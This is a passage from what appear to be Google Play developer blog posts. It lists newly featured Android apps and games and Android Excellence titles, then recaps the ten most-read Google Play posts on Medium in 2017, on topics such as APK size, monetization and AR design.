  • Musixmatch: Check out Musixmatch’s updated app while learning the lyrics to all your favorite songs. The app is compatible with many of the top music streaming services and you can even follow along with your Android Wear device or on the big screen with Chromecast support.
  • ViewRanger: Plan your next hiking adventure by discovering new routes and trail guides with ViewRanger. Check out the Skyline feature using your phone’s camera to identify over 9 million sites across the world through augmented reality.

Here are a few of our favorite new games joining the collection.

  • Fire Emblem Heroes: Nintendo’s popular strategy-RPG franchise is now reimagined for mobile. Fight battles, develop your heroes’ skills, and try various gameplay modes for hours of exciting gameplay.
  • Lumino City: Explore the charming papercraft style world in this award-winning puzzle adventure game. The beautiful scenery is all handcrafted.
  • Old Man’s Journey: Gorgeous scenery, an immersive soundtrack, and deep emotion help you uncover the old man’s life stories while you solve puzzles and shape the landscape to determine his future.

Congratulations to the newly added Android Excellence apps and games.

New Android Excellence apps New Android Excellence games



Blink Health











Mobills: Budget Planner




Video Editor




Agent A

Bit Heroes

Bloons Supermonkey 2

Dancing Line


Dragon Project

Fire Emblem Heroes

Futurama: Worlds of Tomorrow

Idle Heroes

Last Day on Earth: Survival

Lords Mobile

Lumino City

Modern Combat Versus

Old Man’s Journey

The Walking Dead No Man’s Land

War Wings

Explore other great apps and games in the Editors’ Choice section on Google Play and discover best practices to help you build quality apps and games for people to love.

How useful did you find this blogpost?

A look back at the most read Google Play posts on Medium in 2017

A look back at the most read Google Play posts on Medium in 2017

Posted by Sergejs Cuhrajs, Community Manager, Google Play

Earlier this year we launched the Google Play Apps & Games publication on
to help developers discover best practices and insights to grow
successful apps and games businesses on Google Play. As we draw closer to the
end of the year we thought it’s a good time to revisit some of our most popular
posts according to you – our readers.

It’s clear that many of you are excited by the potential of new technology, such
as Virtual Reality (VR) and Augmented Reality (AR), and how it could enhance
user interaction with your apps and games. You’re also concerned with everyday
issues including how to keep your APK size manageable, how to acquire new users,
and how to monetize games without pushing away your players.

So without further adieu, here’s the list of the top 10:

  1. Applying
    human-centered design to emerging technologies

    (by By Peter Hyer, Fabian Herrmann, and Kristin Kelly, 7 min read)

    VR, AR, and digital assistant present exciting opportunities for the future, but how can we ensure
    we’re designing for what people really want?
  2. Shrinking
    APKs, growing installs

    (by Sam Tolomei, 6 min read)
    Smaller APK
    sizes correlate with higher install conversion rate on Google Play – we share
    tips for keeping your apps lean.
  3. Who
    plays mobile games?

    (by Allen Bevans, UX Researcher at Google, 6 min

    Four actionable insights for game developers based on our research
    into different player segments.
  4. Why
    the first ten minutes are crucial if you want to keep players coming back

    (by Adam Carpenter, 7 min read)

    How to analyze your retention data so you can keep players coming back again
    and again.

  5. Design
    your app for decision-making

    (by Jeni Fisher, 10 min read)
    tips and strategies for encouraging desired user behavior in your apps. Also
    check out follow-up posts on boosting
    motivation through app rewards
    , and common
    pitfalls of persuasive app design
  6. Predicting
    your app’s monetization future

    (by Ignacio Monereo, 10 min read)
    Learn about predictive analytics and calculating your apps lifetime value (LTV)
    to gain practical insight into the future of your app. In the second part
    Ignacio shares how to calculate
    LTV based on five popular monetization models
  7. Five
    tips to improve your games-as-a-service monetization

    (by Moonlit
    Beshimov, 9 min read)

    5 proven strategies to improve your game revenue
    without driving players away.
  8. An
    introduction to in-app A/B testing

    (by Gavin Kinghall Were, 13 min

    Learn how in-app A/B testing can drive insight into your app’s future
    design and development, and maximise its performance.
  9. Taking
    the guesswork out of paid user acquisition

    (by David Yin, 8 min

    A simple tool to help you estimate lifetime value (LTV) of your users
    and what to spend to grow your audience.
  10. Rethinking
    interface assumptions in AR: selecting objects

    (by Aaron Cammarata, 8
    min read)

    In this article for beginner AR developers we explore one of the
    most fundamental user interface actions: object selection.

Do you have suggestions for topics we should tackle in 2018? Let us know by
tweeting with the hashtag #AskPlayDev and we’ll reply from @GooglePlayDev, where we regularly
share news and tips on how to be successful on Google Play.

How useful did you find this blogpost?